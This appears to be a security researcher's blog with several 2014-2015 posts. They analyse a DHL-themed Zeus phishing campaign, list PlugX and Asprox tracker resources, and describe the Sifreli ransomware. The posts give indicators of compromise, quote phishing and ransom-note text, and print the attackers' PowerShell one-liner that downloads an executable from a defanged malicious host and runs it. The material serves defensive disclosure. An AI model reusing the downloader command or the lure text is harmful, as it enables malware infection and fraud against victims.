2015-11-19

DHL themed Zeus campaign is using Powershell as malware downloader

Hello,
I have spotted DHL themed phishing campaign using Powershell as malware downloader. Here are some samples of the malicious downloader attachment from the phishing email:

https://malwr.com/analysis/YTlhOGRmNTNlYzQzNGIzNTg0ZTZiOTFkNDg1OGI1Nzc/
https://malwr.com/analysis/ZmU0MjliNzNhYmRlNDE1YmE4ZGQ3NWIyNzAxMzQzNzE/

Attachment has extension *.doc.zip file (to pretend to look like zippeddocument) and inside there is *.doc.lnk.
Instead of the MS office document there is windows shortcut (.lnk), but normal users will most probably see only ".doc", because the common setting on windows is to hide extension of known file types. Link file points to powershell binary and has download script as commandline parameter.

Powershell donwloader example:
(New-Object System.Net.WebClient).DownloadFile('hxxp://nov01mail.pw/bot.exe','%temp%\l.exe');(New-Object -com Shell.Application).ShellExecute('%temp%\l.exe');!%SystemRoot%\system32\SHELL32.dll

The phishing email targets on german speaking victims. Sample email here:
http://www.trojaner-board.de/172090-gefaelschte-dhl-email-schaedliche-infektion.html
http://www.netzwelt.de/news/155327-vorsicht-dhl-virus-neue-spam-welle-trojaner-anhang.html
http://phishing-mails.blogspot.co.uk/2015/10/dhl-paket-angekommen.html
http://blog.botfrei.de/2015/10/erneute-dhl-spamwelle-erreicht-unsere-rechner/



These IPs seems to be serving as the download sites for the malware(or were at some point in time):
5.1.75.148
64.110.131.48
107.161.27.133
162.221.176.38
172.98.211.5
172.245.59.194
192.95.11.146
192.227.244.6
198.98.101.159
198.175.126.100
216.45.55.231

Download sites:
hxxp://2610goodvin.pw/bot.exe
hxxp://2710goodvin.pw/bot.exe
hxxp://cash777.pw/bot.exe
hxxp://casher777soft.pw/bot.exe
hxxp://cyberdrive77787.pw/bot.exe
hxxp://goodprice27.pw/bot.exe
hxxp://goodprice28.pw/bot.exe
hxxp://goodvin77787.in/bot.exe
hxxp://jinsuperstarberlin.pw/bot.exe
hxxp://mamba7777.pw/bot.exe
hxxp://masterb.in/bot.exe
hxxp://masterdj.pw/bot.exe
hxxp://masterhost2777.pw/bot.exe
hxxp://masterjin777.pw/bot.exe
hxxp://masterl188.pw/bot.exe
hxxp://masterlin188.pw/bot.exe
hxxp://masterlin288.pw/bot.exe
hxxp://masterlin788.pw/bot.exe
hxxp://megamail777.pw/bot.exe
hxxp://mis2018.pw/bot.exe
hxxp://mrsoft777.pw/bot.exe
hxxp://nov01mail.pw/bot.exe
hxxp://nov15mailmarketing.in/bot.exe
hxxp://nov19mailmarketing.pw/bot.exe
hxxp://supermoney.pw/bot.exe
hxxp://supersoftware777.pw/bot.exe
hxxp://superstar7747.pw/bot.exe
hxxp://superstar7747.pw/cc.exe
hxxp://supportsoft777.pw/bot.exe
hxxp://verygoodwin7.pw/bot.exe

Some Samples - unfortunately the malware detection from AV vendors is quite unconclusive on the malware family, but according to abuse.ch it is some moddified version of Zeus so hopefully these will get tracked by ZeusTracker.abuse.ch at some point:
62c02f0bb1145d3928b1df7493476f88
9abcd77b3d4c487c59c88511dcf8a719
8375e892e2c447ffe3e55cb818f68de0
d62a8b934836b58f25f047620f269bc7
62c02f0bb1145d3928b1df7493476f88
09b9b83f37998713ae972a2fc6e45e2f
7dd81b268585c596ed83a38f696a7d4f
4f9e35c56b87b516b587c64da33f2012
581eb87538fd2b65f2ba19f30e2f64ba
363ff98bc76668092eb5b00e55e1a9d3

I was able to obtain these 3 samples and run it through malwr.com
ccb86eccbde7683410910adf09bc0a62
        from hxxp://masterlin788[.]pw/bot.exe
        https://malwr.com/analysis/ZjhiMmVkZjI3NGU3NGM1MGFlNzVjZDY0M2Y0NzcxMjI/
        https://www.hybrid-analysis.com/sample/f8ab572c3a395812147faed7fef2c688c0c2b3d06c0074ade741ad4d51fd870c/?environmentId=1

d0c2e2a48459ea52cc0e42e15c995ee2
        from hxxp://nov19mailmarketing[.]pw/bot.exe
        https://malwr.com/analysis/YWNjYWY1NDk5MjAxNGNjYWFiMDEwNTRhNzNmODY0NTk/
        https://www.hybrid-analysis.com/sample/6bbb45a9784a0b83f077d6a9d4a7e89d07ddd79a9f8b5d605aad3ab0855d9655?environmentId=1

1a482869a04f9bfe1a557ec391f5df57
        from hxxp://supportsoft777[.]pw/bot.exe
        https://malwr.com/analysis/YWY3NTZlYjg1NzJjNGFmYjliNDU2NmFhNDBmNjFhYjc/
       

2015-08-24

PlugX Chronicles

This blog-post is to compile list of articles and information bits about the PlugX - malware used as a RAT by several APT groups.

PlugX Tracker - http://ptrack.h3x.eu
PlugX Unsorted Corpus (not categorized samples) http://ptrack.h3x.eu/corpus/297
PlugX Corpus of Setup files (usually RAR SFX) http://ptrack.h3x.eu/corpus/290
PlugX Corpus of EXE (usually signed goodware) http://ptrack.h3x.eu/corpus/291
PlugX Corpus of DLL (malicious stub to load the encrypted payload) http://ptrack.h3x.eu/corpus/292
PlugX Corpus of ENC (encrypted payload) http://ptrack.h3x.eu/corpus/293
PlugX Corpus of DOC (phish documents with embedded PlugX) http://ptrack.h3x.eu/corpus/295

Materials on the topic:

2015-04-08

Asprox botnet chronicles

This blog-post is to compile list of articles and information bits about the Asprox botnet.
Asprox malware is being spread around with phishing emails claiming to be from DHL/Fedex/USPS/American Airlines/Costco/Walmart/Pizza Hut/Home Depot/Target and many others as well. It also likes to claim it is court order, funeral/wedding announcement or missed voicemail from WhatsApp.

Asprox C2 Tracker - http://atrack.h3x.eu
Asprox Corpus of EXE (downloader) http://atrack.h3x.eu/corpus/2
Asprox Corpus of ZIP (downloader) http://atrack.h3x.eu/corpus/6
Asprox Corpus of EXE (2nd stage/update) http://atrack.h3x.eu/corpus/5
Asprox Corpus of TXT (displayed message) http://atrack.h3x.eu/corpus/7
Asprox Corpus of DLL modules http://atrack.h3x.eu/corpus/8

Materials on the topic:

2014-02-27

Sifreli Ransomware

This blogpost io to publish and trace the information about the Sifreli ransomware. The word "sifreli" means encrypted in Turkish and that is also the extension malware was using for the encryted files. This ransomware, when executed, encrypts all data files with AES encryption. Password used for ecryption is random and user is presented only with the version encrypted with RSA public key. Attackers claim that if ransom is paid within 3 days, they will decrypt the unique session key and grant it back to victim in order for him to be able to decrypt back his precious data (text, photos, zip, word ...). Whether this can be trusted I do not know. Yes technically it is possible, but in reality I would not recommend to pay any ransom as you have got no guarantee that you wont get reinfected just the other day.

Materials on the topic:

Phishing email

On the begining of the chain there is a phishing email with link to download site. The phishing email for the Royal-Mail campaign looked like this: From: customercare@parcel-tracking.net [mailto:customercare@parcel-tracking.net] Sent: 24 February 2014 12:12 To: John Doe Subject: Parcel to John Doe John Doe A courier did not deliver the parcel to your address 21 February 2014, because nobody was at home. Please download information about parcel, print it and go to post office to receive a package. Attention If the parcel isn't received within 30 working days Royal Mail will have the right to claim compensation from you for it's keeping in the amount of 5.70 £ for each day of keeping. You can find the information about the procedure and conditions of parcel keeping in the nearest office. This is automatically generated email, please click here to unsubscribe. Royal Mail Group Ltd 2013. All rights reserved

Malware Download

Download site mimics the site of the attacked well known brand name. For Turkey it was Turkcell - local mobile telephone operator. For the campaign targeting the UK the download site was attacking brand name of Roayl Mail. Attacker gains the trust of the victims by :
  • site looks quite genuine, cloning the look and feel from the site being phished
  • it is including the fake captcha for download of the malware file, to download you need to enter the right code from sceen
  • it claims it will download pdf, gaining the trust by fact that downloaded zip contains a file with PDF icon - pity that it is malicious EXE indeed
  • download site looks quite clean on the first look, but after entering the "captcha" the reloaded page contains 2 iframes. One is the zipfile with the malware, the second is probably redirect to some drive-by download.
  • Part of the file name of the zip file is changing with string of random generated numbers t look real

List of known download sites:

  • http://www.parcel-tracking.net/track-trace/track.php?id=9780165 (IP 194.58.38.112)
  • http://csi.efatura-turkcell.net/amserver/UI/Login.php (IP 194.58.43.23)
  • http://csi.efatura-turkcell.org/amserver/UI/Login.php (IP 194.58.43.23)
  • Probably next in row csi.efatura-turkcell.com (IP 194.58.43.23)

Download link with the zip file looks like this (numbers are random):

  • http://www.parcel-tracking.net/track-trace/track_97d899969188667e28e4b4578bdbfe3a.zip
  • http://csi.efatura-turkcell.org/amserver/UI/fatura_938e5e06af8a595faf700a0f1e1e5765.zip
  • http://csi.efatura-turkcell.net/amserver/UI/fatura_6a28ff001a41304c559956f39f53a3ec.zip

Iframe redirecting to affiliate sites looks like this:

  • http://www.parcel-tracking.net/track-trace/div.php
    => http://eebeixee.aerameis.com:8000/rkfnpmymyqfet?tqrppmv=6614810 (IP 212.83.170.14)
  • http://csi.efatura-turkcell.net/amserver/UI/6r3k412v585b.php
    => http://jaivohpo.aerameis.com:8000/stppe?tcpbm=4984420 (IP 212.83.170.14)
  • http://csi.efatura-turkcell.org/amserver/UI/rxgfna7qfunxeo.php
    => http://eichohng.aerameis.com:8000/rvegnykbh?tkdfntudnsub=4984420 (IP 212.83.170.14)
  • It is probably recommended to disable all *.aerameis.com

Execution of the ransomware

When the ransomware is executed, it immediately starts encrypting all files it finds on local hard-drive and-or on available network shares. Encryption is performed with a random generated key. Same key is used for all the files. For each encrypted file there is created file with the original file name and the extension of ".encrypted" ( or it was ".sifreli" in the Turkish language mutation).

When encryption does enough damage and/or after reboot of machine the ransom message is being displayed as a annoying pop-up window, which is not possible to kill. Sample of the message displayed also as a Walpaper image on the desktop.

The same message is also written to any folder with encrypted files as a new file PLEASE_READ.inf (in Turkish version it is LUTFEN_OKUYUN.inf). Hello, I am an IT specialist, I research system vulnerabilities and make profit by selling them. I have found one vulnerability in your system and hacked it. I have copied all valuable data from this PC and from your computer network. Then I have encrypted the files and if you are willing to decrypt them you need to buy a decryption key from me. Here is my contact: e-mail: it-specialist@mail.ua You have 3 days to purchase the decryption key, otherwise some of your sensitive data may be published on the internet and your system will not get decrypted. Information for IT specialists: 1. Anti-virus will delete encryption program but will not decrypt the data. Using system restore point will not help you to recover the data. 2. Data was encrypted with AES (Rijndael) algorithm (256 bit). Encryption key was encrypted with RSA (2048 bit) algorithm. This is extremely secure cryptography technique, around 1000 year time period will be required to break it, so do not try to do it. ---- Encrypted Session Key Begin ---- 3407AF961E9B807B9C998CB610167677842CAF9E9FDACF3BED3B3EAC2044B80E8171D35F78072E525BD049E5BC717C1ABA7C00B5E0A087436AA68C159AAEDD69067D841B66EB4F297CD06F74A884CDA7DE8B6768FF3C8AAABAE42FF78690596D487C1B8FBBFB865999C8CEE81736D28C60E8782DBA94F4CDC95D3FDD6FC7F9F93E3AB5FC431F72104B64EB059BCAD77357D80462AB5C73C300529C0DCCCD3163FD2F0B7B4575BA9FEAC600952BECDCE2D87FC76A676F1FF6824D17C2B6B797D8360E8FF00604B4A85C6CD785AD409B13EDDC899DF0B8F3B64F59080DFA623CF3DB598CCF50FE64D4D87B91708CA1F9E627EA03426AE13173EE8372EA7F8F21C3 ---- Encrypted Session Key End ----

Crypto

Files seems to be encrypted with a algorithm with 128-bit block size. This can be judged based on the padding (not-)used. Entropy of the encrypted files is very high - very close to 8 bits per byte. This could very well be AES (128 bit block size) with 256 bit key as claimed by the attackers. Unique key seems to be generated for each run of the malware, until files are encrypted.

VT
MW
TH
TE
Joe
Eu
First SeenSample MD5File NameMutexpehashimphash
Y
Y
Y
N
N
Y
 Y2014-02-24 23:26
6323daca233ace221030d25ae937930e
information.exe
\\Global\\Bit\ Torrent\ Application\ Instance
fdd375a5293e58d9bd07527fe9bcd4b1db5e9819
38ae2453fdc4e1b45f524ad9bfed11ab
Y
Y
Y
N
N
Y
 Y2014-02-24 14:55
a307146f76d193565f8d710e5f16331e
Tracking_information.exe
\\Global\\Bit\ Torrent\ Application\ Instance
fdd375a5293e58d9bd07527fe9bcd4b1db5e9819
38ae2453fdc4e1b45f524ad9bfed11ab
Y
Y
Y
N
N
Y
 N2014-02-24 12:47
99aa69515cde6f6c39cc3ba8f952227c
tracking_information.exe
\\Global\\Bit\ Torrent\ Application\ Instance
fdd375a5293e58d9bd07527fe9bcd4b1db5e9819
38ae2453fdc4e1b45f524ad9bfed11ab
Y
Y
Y
Y
N
Y
 Y2014-02-20 06:36
724abecfbfda53d0023c0e285af03ae4
20140220_1032_DEWA_bill.exe
\\Global\\Bit\ Torrent\ Application\ Instance
d82f1f3820bf578e33b9d757d7aae1c62725d927
2e99da085bf3de75e71310329aef4bea
N
Y
Y
N
N
N
 N2014-02-17 22:38
25443de5463f526697b82ff7612d2a19
fatura_878f1e09a51d2906c8d53fb468937636.zip
\\Global\\Bit\ Torrent\ Application\ Instance
Y
Y
Y
N
N
Y
 Y2014-02-17 14:27
2b3c9700435cea2f2315255272e35abd
20140217_2338_fatura.exe
\\Global\\Bit\ Torrent\ Application\ Instance
5837628aced008ad4b90de61191754ef20553a9c
2e99da085bf3de75e71310329aef4bea
N
Y
Y
N
N
Y
 N2014-02-17 09:56
184a21461a5275c6938fc531711abc80
fatura.exe
\\Global\\Bit\ Torrent\ Application\ Instance
N
Y
Y
N
N
Y
 N2014-02-11 12:47
97fb2dfd447c5c6dbe0fc76ee0efeb67
fatura.exe
\\Global\\Bit\ Torrent\ Application\ Instance